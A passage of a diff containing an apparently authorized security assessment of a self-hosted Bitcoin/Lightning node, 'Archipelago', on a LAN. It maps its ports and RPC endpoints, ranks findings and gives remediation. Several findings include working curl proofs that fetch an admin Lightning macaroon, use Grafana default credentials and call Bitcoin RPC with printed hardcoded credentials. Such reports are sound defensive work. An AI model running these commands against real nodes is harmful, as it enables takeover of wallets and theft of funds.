|
||||
- **Why it's interesting:** Enables clickjacking attacks on Vaultwarden (password manager), Portainer (container admin), and other sensitive applications
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Confirmed:** Yes — from nginx config source code
|
||||
- **Impact:** Medium — credential theft via clickjacking on password manager
|
||||
|
||||
### P9: MEDIUM — P2P Message Injection
|
||||
|
||||
- **What:** `POST /archipelago/node-message` accepts and stores messages with arbitrary `from_pubkey` without signature verification
|
||||
- **Why it's interesting:** Enables spoofing messages from trusted peers, potentially manipulating node operator behavior or triggering automated responses
|
||||
- **Category:** Injection / Insufficient Verification (OWASP A03:2021)
|
||||
- **Confirmed:** Yes — received `{"ok":true}` for spoofed message
|
||||
- **Impact:** Medium — social engineering, trust manipulation
|
||||
|
||||
### P10: LOW — Missing Security Headers (Entire Application)
|
||||
|
||||
- **What:** No CSP, HSTS, X-Frame-Options, X-Content-Type-Options on the main application
|
||||
- **Why it's interesting:** Standard hardening gap that enables various client-side attacks
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Confirmed:** Yes — from HTTP response headers
|
||||
- **Impact:** Low — enables other attacks (XSS, clickjacking, MIME sniffing)
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
The most critical finding is the **complete absence of server-side authentication** on the RPC API. The `auth.login` method validates passwords but never issues session tokens, and no middleware checks authentication before dispatching RPC methods. Combined with the backend running as root, this gives any LAN attacker full administrative control over the node — including container management, node identity operations, and file system access.
|
||||
|
||||
**Immediate recommendations:**
|
||||
1. Implement session-based authentication middleware that gates all RPC methods except `auth.login`, `echo`, and `auth.isOnboardingComplete`
|
||||
2. Fix the `container-install` path traversal by validating `manifest_path` against an allowlist of directories
|
||||
3. Require authentication for `node.signChallenge` and `node.createBackup`
|
||||
4. Complete or disable the Nginx Proxy Manager setup on port 81
|
||||
5. Stop running the backend as root; switch to a dedicated service account
|
||||
6. Disable dev mode in production (`ARCHIPELAGO_DEV_MODE=false`)
|
||||
@@ -1,619 +0,0 @@
|
||||
# Archipelago Attack Surface Analysis
|
||||
|
||||
**Target:** 192.168.1.228
|
||||
**Date:** 2026-03-18
|
||||
**Scope:** Authorized security assessment — full infrastructure
|
||||
**Assessor:** Automated recon + source code review
|
||||
|
||||
---
|
||||
|
||||
## 1. Target Overview
|
||||
|
||||
### Technologies Detected
|
||||
|
||||
| Layer | Technology | Version |
|
||||
|-------|-----------|---------|
|
||||
| OS | Debian 12 (Bookworm) | x86_64, kernel unknown |
|
||||
| Web Server | nginx | 1.22.1 |
|
||||
| Reverse Proxy (alt) | OpenResty | (port 81, Nginx Proxy Manager) |
|
||||
| Backend | Rust (custom binary) | 0.1.0 (`archipelago`) |
|
||||
| Frontend | Vue 3 + TypeScript + Vite 7 | SPA at `/` |
|
||||
| Container Runtime | Podman (rootless) | — |
|
||||
| Lightning | LND | auto-generated TLS cert |
|
||||
| Bitcoin | Bitcoin Core/Knots | mainnet, block 941146 |
|
||||
| Monitoring | Grafana | 10.2.0 |
|
||||
| Uptime | Uptime Kuma | (port 3001) |
|
||||
| Proxy Manager | Nginx Proxy Manager | 2.14.0 |
|
||||
| SSH | OpenSSH | 9.2p1 Debian 2+deb12u7 |
|
||||
| TLS | Self-signed cert | CN=archipelago.local, expires 2027-02-17 |
|
||||
|
||||
### Open Ports and Services
|
||||
|
||||
| Port | Service | Protocol | Direct Access |
|
||||
|------|---------|----------|---------------|
|
||||
| 22 | SSH (OpenSSH 9.2p1) | TCP | Yes |
|
||||
| 80 | Nginx (main reverse proxy) | HTTP | Yes |
|
||||
| 81 | Nginx Proxy Manager (OpenResty) | HTTP | Yes |
|
||||
| 443 | Nginx (HTTPS, self-signed) | HTTPS | Yes |
|
||||
| 3000 | Grafana | HTTP | Yes |
|
||||
| 3001 | Uptime Kuma | HTTP | Yes |
|
||||
| 5678 | Archipelago Rust backend | HTTP | Yes (behind nginx) |
|
||||
| 7777 | IndeedHub (nginx 1.29.6) | HTTP | Yes |
|
||||
| 8080 | LND REST API | HTTPS (TLS) | Yes |
|
||||
| 8334 | Bitcoin UI (custom nginx) | HTTP | Inferred from config |
|
||||
| 8083 | FileBrowser | HTTP | Inferred from config |
|
||||
| 8888 | SearXNG | HTTP | Inferred from config |
|
||||
| 9000 | Portainer | HTTP | Yes |
|
||||
| 11434 | Ollama (local LLM) | HTTP | Inferred from config |
|
||||
| 3141/3142 | Claude OAuth Proxy | HTTP | Internal |
|
||||
|
||||
### Subdomains Discovered
|
||||
|
||||
- `archipelago.local` (self-signed cert SAN)
|
||||
- No external subdomains (internal LAN deployment)
|
||||
|
||||
---
|
||||
|
||||
## 2. Complete Endpoint Map
|
||||
|
||||
### 2.1 Nginx HTTP Routes (Port 80/443)
|
||||
|
||||
#### Unauthenticated Endpoints
|
||||
|
||||
| Method | Path | Backend | Source | Auth Enforced |
|
||||
|--------|------|---------|--------|---------------|
|
||||
| GET | `/health` | 127.0.0.1:5678 | nginx config line ~45 | **None** |
|
||||
| GET | `/electrs-status` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
|
||||
| GET | `/lnd-connect-info` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
|
||||
| GET | `/content` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| GET | `/content/*` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| POST | `/dwn` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| GET | `/dwn/health` | 127.0.0.1:5678 | nginx config | **None** |
|
||||
| POST | `/archipelago/node-message` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
|
||||
| GET | `/` | Static SPA | nginx config | **None** |
|
||||
| GET | `/assets/*` | Static files | nginx config | **None** |
|
||||
| GET | `/nostr-provider.js` | Static file | nginx config | **None** |
|
||||
|
||||
#### Authenticated Endpoints (Session Cookie Required)
|
||||
|
||||
| Method | Path | Backend | Source | Notes |
|
||||
|--------|------|---------|--------|-------|
|
||||
| POST | `/rpc/v1` | 127.0.0.1:5678 | nginx config | Rate limited: 20r/s, burst 40. 1MB body. 600s timeout |
|
||||
| WS | `/ws/db` | 127.0.0.1:5678 | nginx config | WebSocket upgrade. 86400s timeout |
|
||||
| GET | `/api/container/logs*` | 127.0.0.1:5678 | handler.rs | Query: `?app_id=&lines=` |
|
||||
| GET | `/proxy/lnd/*` | 127.0.0.1:8080 | handler.rs | Proxies to LND REST API |
|
||||
| GET | `/aiui/api/claude/*` | 127.0.0.1:3141 | nginx config | Streaming. 300s timeout |
|
||||
| GET | `/aiui/api/ollama/*` | 127.0.0.1:11434 | nginx config | Streaming. 300s timeout |
|
||||
| GET | `/aiui/api/openrouter/*` | openrouter.ai | nginx config | External API proxy |
|
||||
| GET | `/aiui/api/web-search` | 127.0.0.1:8888 | nginx config | SearXNG. 30s timeout |
|
||||
|
||||
#### App Proxy Routes (`/app/*`)
|
||||
|
||||
All inject `nostr-provider.js`, strip X-Frame-Options, re-apply SAMEORIGIN.
|
||||
|
||||
| Path | Backend Port | Timeout | Special |
|
||||
|------|-------------|---------|---------|
|
||||
| `/app/bitcoin-ui/` | 8334 | 5s | — |
|
||||
| `/app/electrumx/` | 50002 | 5s | — |
|
||||
| `/app/grafana/` | 3000 | 5s | — |
|
||||
| `/app/uptime-kuma/` | 3001 | 5s | — |
|
||||
| `/app/searxng/` | 8888 | 5s | — |
|
||||
| `/app/portainer/` | 9000 | 5s | — |
|
||||
| `/app/filebrowser/` | 8083 | 5s | 10GB upload limit; path traversal check |
|
||||
| `/app/jellyfin/` | 8096 | 5s | — |
|
||||
| `/app/photoprism/` | 2342 | 5s | — |
|
||||
| `/app/onlyoffice/` | 9980 | 5s | — |
|
||||
| `/app/tailscale/` | 8240 | 5s | — |
|
||||
| `/app/ollama/` | 11434 | 5s | — |
|
||||
| `/app/nginx-proxy-manager/` | 81 | 5s | — |
|
||||
| `/app/lnd/` | 8081 | 300s | Long timeout |
|
||||
| `/app/mempool/` | 4080 | 300s | Long timeout |
|
||||
| `/app/fedimint/` | 8175 | 300s | Long timeout |
|
||||
| `/app/fedimint-gateway/` | 8176 | 300s | Long timeout |
|
||||
| `/app/nextcloud/` | 8085 | 300s | — |
|
||||
| `/app/vaultwarden/` | 8082 | 300s | Password manager |
|
||||
| `/app/immich/` | 2283 | 300s | — |
|
||||
| `/app/penpot/` | 9001 | 300s | — |
|
||||
| `/app/indeedhub/` | 7777 | 5s | Complex URL rewriting, WebSocket |
|
||||
|
||||
#### External Site Proxies (Separate Ports)
|
||||
|
||||
| Port | Upstream | Purpose |
|
||||
|------|----------|---------|
|
||||
| 8901 | botfights.net | Nostr proxy |
|
||||
| 8902 | 484.kitchen | Nostr proxy |
|
||||
| 8903 | present.l484.com | Nostr proxy |
|
||||
|
||||
### 2.2 Rust Backend RPC Methods (`POST /rpc/v1`)
|
||||
|
||||
**Protocol:** JSON-RPC 2.0
|
||||
**Content-Type:** `application/json`
|
||||
**Auth:** Session cookie (except where noted)
|
||||
|
||||
#### Unauthenticated RPC Methods (No Session Required)
|
||||
|
||||
| Method | Parameters | Returns | Source |
|
||||
|--------|-----------|---------|--------|
|
||||
| `auth.login` | `password` | Sets session cookie | `api/rpc/auth.rs` |
|
||||
| `auth.login.totp` | `token`, `code` | Session | `api/rpc/auth.rs` |
|
||||
| `auth.login.backup` | `token`, `backup_code` | Session | `api/rpc/auth.rs` |
|
||||
| `auth.isOnboardingComplete` | — | `boolean` | `api/rpc/auth.rs` |
|
||||
| `auth.isSetup` | — | `boolean` | `api/rpc/auth.rs` |
|
||||
| `backup.restore-identity` | `backup_file`, `password` | `{did}` | `api/rpc/mod.rs` |
|
||||
| `federation.get-state` | — | `{state}` | P2P inter-node |
|
||||
| `federation.peer-joined` | `peer_did`, `address` | — | P2P inter-node |
|
||||
| `federation.peer-address-changed` | `peer_did`, `new_address` | — | P2P inter-node |
|
||||
|
||||
#### Authenticated RPC Methods (150+ total, grouped by domain)
|
||||
|
||||
<details>
|
||||
<summary><b>Authentication & Session (12 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `auth.logout` | — | Invalidate session |
|
||||
| `auth.changePassword` | `currentPassword`, `newPassword` | Change password |
|
||||
| `auth.onboardingComplete` | — | Mark onboarding done |
|
||||
| `auth.resetOnboarding` | — | Reset onboarding |
|
||||
| `auth.totp.setup.begin` | — | Get TOTP secret + QR |
|
||||
| `auth.totp.setup.confirm` | `code` | Confirm TOTP setup |
|
||||
| `auth.totp.disable` | `password` | Disable 2FA |
|
||||
| `auth.totp.status` | — | Check 2FA enabled |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Container Management (10 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `container-install` | `image`, `name` | Install container |
|
||||
| `container-start` | `app_id` | Start container |
|
||||
| `container-stop` | `app_id` | Stop container |
|
||||
| `container-remove` | `app_id` | Remove container |
|
||||
| `container-list` | — | List all containers |
|
||||
| `container-status` | `app_id` | Container status |
|
||||
| `container-logs` | `app_id`, `lines` | Container logs |
|
||||
| `container-health` | `app_id` | Container health |
|
||||
| `bundled-app-start` | `app_id` | Start bundled app |
|
||||
| `bundled-app-stop` | `app_id` | Stop bundled app |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Package Management (5 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `package.install` | `package_id`, `version` | Install from marketplace |
|
||||
| `package.start` | `package_id` | Start package |
|
||||
| `package.stop` | `package_id` | Stop package |
|
||||
| `package.restart` | `package_id` | Restart package |
|
||||
| `package.uninstall` | `package_id` | Uninstall |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Bitcoin & Lightning (15 methods)</b></summary>
|
||||
|
||||
| Method | Parameters | Purpose |
|
||||
|--------|-----------|---------|
|
||||
| `bitcoin.getinfo` | — | Bitcoin Core info |
|
||||
| `lnd.getinfo` | — | LND node info |
|
||||
| `lnd.listchannels` | — | List channels |
|
||||
| `lnd.openchannel` | `peer_pubkey`, `local_funding_amount` | Open channel |
|
||||
| `lnd.closechannel` | `channel_point` | Close channel |
|
||||
| `lnd.newaddress` | — | Generate address |
|
||||
| `lnd.sendcoins` | `address`, `amount_sats` | Send BTC |
|
||||
| `lnd.createinvoice` | `amount_sats`, `memo` | Create invoice |
|
||||
| `lnd.payinvoice` | `payment_request` | Pay invoice |
|
||||
| `lnd.create-psbt` | `inputs`, `outputs` | Create PSBT |
|
||||
| `lnd.finalize-psbt` | `psbt` | Broadcast PSBT |
|
||||
| `lnd.create-raw-tx` | `inputs`, `outputs` | Raw transaction |
|
||||
| `lnd.gettransactions` | — | Wallet history |
|
||||
| `lnd.connect-info` | — | LND connection string |
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Identity & Crypto (30+ methods)</b></summary>
|
||||
|
||||
Covers: identity CRUD, DID resolution, Nostr key operations, NIP-04/NIP-44 encryption/decryption, verifiable credentials (issue/verify/revoke), presentations, DHT DID, NIP-05 names, key export.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Node & P2P (15+ methods)</b></summary>
|
||||
|
||||
Covers: node DID, challenge signing, backup creation, Tor address, Nostr publishing, peer management, message sending, peer discovery.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Federation (10 methods)</b></summary>
|
||||
|
||||
Covers: invite generation, joining, node listing, node removal, trust scoring, state sync, app deployment.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Mesh Networking (20+ methods)</b></summary>
|
||||
|
||||
Covers: status, peers, messaging, broadcast, LoRa configuration, invoice relay, GPS coordinates, emergency alerts, deadman switch, Bitcoin tx relay, Lightning relay, block headers, X3DH prekey rotation.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Ecash Wallet (6 methods)</b></summary>
|
||||
|
||||
Covers: balance, mint, melt, send, receive, transaction history.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Content Sharing (7 methods)</b></summary>
|
||||
|
||||
Covers: list own content, add/remove files, pricing, availability, browse/download from peers.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>DWN (7 methods)</b></summary>
|
||||
|
||||
Covers: status, sync, protocol management, message query/write.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Network & Infrastructure (20+ methods)</b></summary>
|
||||
|
||||
Covers: network interfaces, WiFi scan/config, Ethernet config, DNS config, UPnP router discovery/forwarding, Tor service management (list/create/delete/rotate), Nostr relay management, VPN config.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>System Management (15+ methods)</b></summary>
|
||||
|
||||
Covers: system stats, processes, temperature, USB detection, disk status/cleanup, factory reset, monitoring (current/history/alerts), updates (check/download/apply/rollback), backup (create/list/verify/restore/USB/S3).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><b>Other (10+ methods)</b></summary>
|
||||
|
||||
Covers: server naming, analytics opt-in/out, webhook config, security secret rotation, marketplace discovery/publishing.
|
||||
|
||||
</details>
|
||||
|
||||
### 2.3 Direct HTTP Endpoints (Backend)
|
||||
|
||||
| Method | Path | Auth | Source |
|
||||
|--------|------|------|--------|
|
||||
| GET | `/health` | None | `handler.rs:~120` |
|
||||
| GET | `/electrs-status` | None | `handler.rs` |
|
||||
| GET | `/lnd-connect-info` | None | `handler.rs` |
|
||||
| GET | `/content` | None | `handler.rs` |
|
||||
| GET | `/content/*` | None | `handler.rs` (Range header support) |
|
||||
| POST | `/archipelago/node-message` | P2P validation | `handler.rs` |
|
||||
| GET | `/dwn/health` | None | `handler.rs` |
|
||||
| POST | `/dwn` | None (P2P) | `handler.rs` |
|
||||
| WS | `/ws/db` | Session cookie | `handler.rs:514-625` |
|
||||
| GET | `/api/container/logs*` | Session | `handler.rs` |
|
||||
| GET | `/proxy/lnd/*` | Session | `handler.rs` |
|
||||
|
||||
### 2.4 Direct Port Services
|
||||
|
||||
| Port | Service | Own Auth | Notes |
|
||||
|------|---------|----------|-------|
|
||||
| 3000 | Grafana | Session/Basic | Login page directly accessible |
|
||||
| 3001 | Uptime Kuma | Session | Redirects to /dashboard |
|
||||
| 81 | Nginx Proxy Manager | Session | Login page directly accessible |
|
||||
| 7777 | IndeedHub | Nostr NIP-07 | Full app accessible |
|
||||
| 8080 | LND REST | TLS + Macaroon | Requires valid macaroon header |
|
||||
| 8334 | Bitcoin UI | None/Basic Auth on `/bitcoin-rpc/` | Hardcoded creds in nginx config |
|
||||
| 9000 | Portainer | Session | Redirects to timeout (possibly unconfigured) |
|
||||
|
||||
### 2.5 WebSocket Endpoints
|
||||
|
||||
| Path | Auth | Protocol | Features |
|
||||
|------|------|----------|----------|
|
||||
| `/ws/db` | Session cookie | JSON Patch | 30s ping, 5min inactivity timeout, state streaming |
|
||||
| `/app/indeedhub/ws/` | Nostr | WebSocket | 86400s timeout |
|
||||
|
||||
---
|
||||
|
||||
## 3. Attack Surface Map
|
||||
|
||||
### 3.1 Input Vectors
|
||||
|
||||
| Vector | Endpoint(s) | Input Type | Validation |
|
||||
|--------|------------|------------|------------|
|
||||
| Password login | `auth.login` | JSON body (`password`) | Bcrypt comparison, rate limited (5/min) |
|
||||
| TOTP code | `auth.login.totp` | JSON body (`code`) | Constant-time comparison, 5 attempts |
|
||||
| RPC method dispatch | `/rpc/v1` | JSON body (`method`, `params`) | Switch on method name, typed params |
|
||||
| Container image install | `container-install` | JSON body (`image`) | Image name passed to Podman |
|
||||
| File upload | `/app/filebrowser/` | Multipart/file body | 10GB limit, path traversal check |
|
||||
| P2P messages | `/archipelago/node-message` | JSON body | Source validation (Tor onion) |
|
||||
| DWN writes | `/dwn` | JSON body | Protocol validation |
|
||||
| Content download | `/content/*` | URL path + Range header | Path-based content ID lookup |
|
||||
| Bitcoin transactions | `lnd.sendcoins`, `lnd.payinvoice` | JSON body (address, amount) | Address validation |
|
||||
| DNS configuration | `network.configure-dns` | JSON body (servers) | Server address validation |
|
||||
| WiFi config | `network.configure-wifi` | JSON body (ssid, password) | — |
|
||||
| Package install | `package.install` | JSON body (id, version, url) | marketplace URL fetched |
|
||||
| Federation join | `federation.join` | JSON body (invite code) | Code validation |
|
||||
| Webhook config | `webhook.configure` | JSON body (url, events) | URL stored, callbacks sent |
|
||||
| Bitcoin RPC proxy | `8334:/bitcoin-rpc/` | JSON body (method, params) | Basic Auth (hardcoded) |
|
||||
| Factory reset | `system.factory-reset` | JSON body (`confirm: true`) | Auth + confirm flag |
|
||||
|
||||
### 3.2 Authentication Mechanisms
|
||||
|
||||
| Mechanism | Used By | Strength |
|
||||
|-----------|---------|----------|
|
||||
| Password + bcrypt (cost 12) | Main login | Strong (rate limited) |
|
||||
| TOTP (RFC 6238) | 2FA | Strong (constant-time, replay-protected) |
|
||||
| Session cookie (256-bit random) | All authenticated endpoints | Strong (HttpOnly, SameSite=Strict) |
|
||||
| Remember-me (HMAC-SHA256) | Session persistence | Medium (derived from machine-id) |
|
||||
| CSRF token | State-changing operations | Present but enforcement unclear |
|
||||
| Macaroon (LND) | LND REST API | Strong (but exposed via endpoint) |
|
||||
| Basic Auth (hardcoded) | Bitcoin UI RPC proxy | **Weak** (hardcoded in config) |
|
||||
| Default creds (Grafana) | Grafana admin | **Weak** (admin:admin works) |
|
||||
| No auth | 8 HTTP endpoints, 6 RPC methods | **N/A** |
|
||||
|
||||
### 3.3 Data Flow
|
||||
|
||||
```
|
||||
User Browser
|
||||
│
|
||||
├─[Session Cookie]──→ Nginx (80/443)
|
||||
│ ├──→ /rpc/v1 ──→ Rust Backend (5678) ──→ Podman containers
|
||||
│ ├──→ /ws/db ──→ WebSocket state stream
|
||||
│ ├──→ /app/* ──→ Container UIs (iframes)
|
||||
│ └──→ /aiui/* ──→ Claude Proxy (3141) ──→ Anthropic API
|
||||
│
|
||||
├─[No Auth]──→ /health, /electrs-status, /lnd-connect-info, /content, /dwn
|
||||
│
|
||||
├─[Direct Port]──→ Grafana:3000 (admin:admin)
|
||||
├─[Direct Port]──→ NPM:81 (session)
|
||||
├─[Direct Port]──→ LND:8080 (TLS + macaroon)
|
||||
└─[Direct Port]──→ Bitcoin UI:8334 (Basic Auth hardcoded)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Interesting Findings
|
||||
|
||||
### CRITICAL
|
||||
|
||||
#### 4.1 Unauthenticated LND Admin Macaroon Exposure
|
||||
|
||||
- **Endpoint:** `GET /lnd-connect-info` (no auth required)
|
||||
- **Confirmed:** Returns full admin macaroon (base64url), TLS certificate, gRPC port (10009), REST port (8080)
|
||||
- **Macaroon permissions:** `address:rw`, `info:rw`, `invoices:rw`, `macaroon:generate/rw`, `message:rw`, `offchain:rw`, `onchain:rw`, `peers:rw`, `signer:generate/read`
|
||||
- **Impact:** Any host on the LAN can retrieve the admin macaroon and gain **full control** of the Lightning node — send all funds, open/close channels, create invoices, sign messages. This is the equivalent of exposing a root password to the Bitcoin wallet.
|
||||
- **CORS:** `Access-Control-Allow-Origin: *` (any origin)
|
||||
|
||||
**Proof:**
|
||||
```bash
|
||||
curl -sk http://192.168.1.228/lnd-connect-info
|
||||
# Returns: {"cert_base64url":"MIIC...","grpc_port":10009,"macaroon_base64url":"AgED...","rest_port":8080}
|
||||
```
|
||||
|
||||
#### 4.2 Grafana Default Credentials (admin:admin)
|
||||
|
||||
- **Endpoint:** `http://192.168.1.228:3000`
|
||||
- **Confirmed:** `admin:admin` returns full organization data
|
||||
- **Version:** Grafana 10.2.0 (commit 895fbafb7a)
|
||||
- **Impact:** Full access to monitoring dashboards, data sources, alert rules. Can potentially access connected databases, execute queries, and pivot to other services via configured data sources.
|
||||
|
||||
**Proof:**
|
||||
```bash
|
||||
curl -sk http://192.168.1.228:3000/api/org -u admin:admin
|
||||
# Returns: {"id":1,"name":"Main Org.","address":{...}}
|
||||
```
|
||||
|
||||
#### 4.3 Bitcoin RPC Full Access via Hardcoded Credentials
|
||||
|
||||
- **Endpoint:** `POST http://192.168.1.228:8334/bitcoin-rpc/`
|
||||
- **Credentials:** `archipelago:archipelago123` (hardcoded in `docker/bitcoin-ui/nginx.conf`)
|
||||
- **Confirmed:** Returns full `getblockchaininfo` — mainnet, block 941146, 828GB on disk
|
||||
- **Impact:** Full Bitcoin Core RPC access. Depending on wallet configuration, could call `sendtoaddress`, `dumpprivkey`, `listunspent`, or any other RPC method. Mainnet node with real funds.
|
||||
|
||||
**Proof:**
|
||||
```bash
|
||||
curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
|
||||
-u archipelago:archipelago123 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
|
||||
# Returns: {"result":{"chain":"main","blocks":941146,...},"error":null}
|
||||
```
|
||||
|
||||
### HIGH
|
||||
|
||||
#### 4.4 Unauthenticated Content Catalog Exposure
|
||||
|
||||
- **Endpoint:** `GET /content`
|
||||
- **Confirmed:** Returns complete file catalog — filenames, sizes, MIME types, UUIDs
|
||||
- **Data leaked:** Personal music files with full paths (`/Music/1 - Govcucks.wav`, etc.)
|
||||
- **Impact:** Information disclosure of personal files shared via P2P. File UUIDs could be used to download content via `/content/{id}`.
|
||||
|
||||
#### 4.5 Nginx Proxy Manager Accessible on LAN
|
||||
|
||||
- **Endpoint:** `http://192.168.1.228:81`
|
||||
- **API Status:** `{"status":"OK","setup":false,"version":{"major":2,"minor":14,"revision":0}}`
|
||||
- **`setup: false`** — Unclear if this means initial setup hasn't completed (would allow admin takeover) or refers to some other state
|
||||
- **Impact:** NPM controls reverse proxy routing for all services. Compromise = ability to redirect traffic, intercept credentials, or add malicious proxy rules.
|
||||
|
||||
### MEDIUM
|
||||
|
||||
#### 4.6 Version and Service Information Disclosure
|
||||
|
||||
| Source | Information Exposed |
|
||||
|--------|-------------------|
|
||||
| HTTP `Server` header | `nginx/1.22.1` |
|
||||
| Port 81 `Server` header | `openresty` |
|
||||
| Port 3000 `/api/health` | Grafana 10.2.0, commit hash, database status |
|
||||
| Port 81 `/api/` | NPM version 2.14.0 |
|
||||
| Port 8080 TLS cert | `lnd autogenerated cert`, internal IPs, Tailscale IPs |
|
||||
| Port 443 TLS cert | SANs include: 192.168.1.228, 192.168.1.198, 10.0.0.1, archipelago.local |
|
||||
| SSH banner | OpenSSH 9.2p1 Debian 2+deb12u7, ECDSA + ED25519 host keys |
|
||||
| `/electrs-status` | Blockchain sync: 99%, index size 124.8GB, network height |
|
||||
| `/dwn/health` | 1027 messages, 10 protocols, 551KB storage |
|
||||
| `auth.isOnboardingComplete` | Node setup state (returns `true`) |
|
||||
| Error responses | "Password Incorrect" (confirms account exists) |
|
||||
|
||||
#### 4.7 LND TLS Certificate Leaks Internal Network Topology
|
||||
|
||||
The LND auto-generated TLS cert (port 8080) exposes SANs including:
|
||||
- Internal IPs: `192.168.1.228`, `10.88.0.1` (Podman bridge)
|
||||
- Tailscale IPs: `2A00:23C5:E31:A001:572F:29BF:5A00:2D46` (IPv6)
|
||||
- Link-local IPs: 5 different `FE80::` addresses (reveals all network interfaces)
|
||||
|
||||
#### 4.8 CSP Allows `unsafe-inline`
|
||||
|
||||
```
|
||||
script-src 'self' 'unsafe-inline'
|
||||
style-src 'self' 'unsafe-inline'
|
||||
```
|
||||
|
||||
While necessary for the Vue SPA, `unsafe-inline` for scripts significantly weakens XSS protection. If any injection point exists, inline script execution is possible.
|
||||
|
||||
#### 4.9 `connect-src` Allows Broad Connections
|
||||
|
||||
```
|
||||
connect-src 'self' ws: wss: http://192.168.1.228:* https:
|
||||
```
|
||||
|
||||
Allows JavaScript to connect to ANY port on the host and ANY HTTPS endpoint. An XSS payload could exfiltrate data to external servers or interact with any local service port.
|
||||
|
||||
#### 4.10 DWN Endpoint Accepts Unauthenticated Queries
|
||||
|
||||
- **Endpoint:** `POST /dwn`
|
||||
- **Confirmed:** Accepts JSON queries and returns results
|
||||
- **Impact:** Remote parties can query DWN records. While designed for P2P, the lack of access control means any network-adjacent attacker can enumerate stored data.
|
||||
|
||||
### LOW / INFORMATIONAL
|
||||
|
||||
#### 4.11 Login Rate Limiting Works
|
||||
|
||||
Rate limiting triggers after 4 failed attempts (returns HTTP 429). Effective against brute force. However, the limit is per-IP, not per-account — an attacker with multiple IPs could parallelize attempts.
|
||||
|
||||
#### 4.12 CORS Properly Restricts Origins
|
||||
|
||||
CORS preflight for `Origin: http://evil.com` returns no `Access-Control-Allow-Origin` header. Only configured origins (`http://192.168.1.228`, `http://localhost:8100`) are allowed. WebSocket also returns 401 without valid session.
|
||||
|
||||
#### 4.13 Path Traversal Mitigated
|
||||
|
||||
`/content/../../../etc/passwd` returns the SPA index.html (nginx catches it). URL-encoded traversal (`%2f..%2f`) returns 400 Bad Request. FileBrowser has explicit `..` regex checks in nginx config.
|
||||
|
||||
#### 4.14 Git/Env Files Not Exposed
|
||||
|
||||
`/.git/HEAD` and `/.env` both return the SPA index.html (Vue Router catch-all). No source code or credential leakage.
|
||||
|
||||
#### 4.15 Security Headers Present
|
||||
|
||||
All security headers are properly set: HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy, X-DNS-Prefetch-Control. This is above average for self-hosted applications.
|
||||
|
||||
---
|
||||
|
||||
## 5. Priority Targets
|
||||
|
||||
### Rank 1: LND Admin Macaroon via `/lnd-connect-info` (CRITICAL)
|
||||
|
||||
- **What:** Unauthenticated HTTP endpoint returns full admin macaroon for LND Lightning node
|
||||
- **Why it's critical:** Grants complete control over Lightning funds — send payments, drain channels, create invoices. No authentication required. Accessible to any device on the LAN.
|
||||
- **Category:** Broken Access Control (OWASP A01:2021)
|
||||
- **Remediation:** Require session authentication on `/lnd-connect-info`. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC.
|
||||
|
||||
### Rank 2: Bitcoin RPC via Hardcoded Credentials (CRITICAL)
|
||||
|
||||
- **What:** Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth `archipelago:archipelago123`
|
||||
- **Why it's critical:** Mainnet Bitcoin node. If wallet is loaded, attacker can send transactions, export private keys, or manipulate the mempool. Credentials are in version-controlled nginx config.
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021), Hardcoded Credentials
|
||||
- **Remediation:** Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Restrict port 8334 to localhost.
|
||||
|
||||
### Rank 3: Grafana Default Credentials (HIGH)
|
||||
|
||||
- **What:** Grafana on port 3000 accepts `admin:admin`
|
||||
- **Why it's critical:** Full admin access to monitoring infrastructure. Grafana can query connected data sources (Prometheus, InfluxDB), potentially exposing system metrics, logs, and providing a pivot point. Version 10.2.0 may have known CVEs.
|
||||
- **Category:** Identification and Authentication Failures (OWASP A07:2021)
|
||||
- **Remediation:** Change default password. Restrict Grafana to localhost access only (proxy through authenticated nginx). Consider enabling Grafana's built-in auth proxy mode.
|
||||
|
||||
### Rank 4: Unauthenticated Content Catalog (HIGH)
|
||||
|
||||
- **What:** `GET /content` exposes personal files (names, sizes, UUIDs) without authentication
|
||||
- **Why it's concerning:** Reveals personal data. UUIDs may allow direct file download via `/content/{id}`. Designed for P2P but accessible from any LAN host.
|
||||
- **Category:** Broken Access Control (OWASP A01:2021)
|
||||
- **Remediation:** Require peer authentication (DID signature verification) for content catalog access, not just content downloads.
|
||||
|
||||
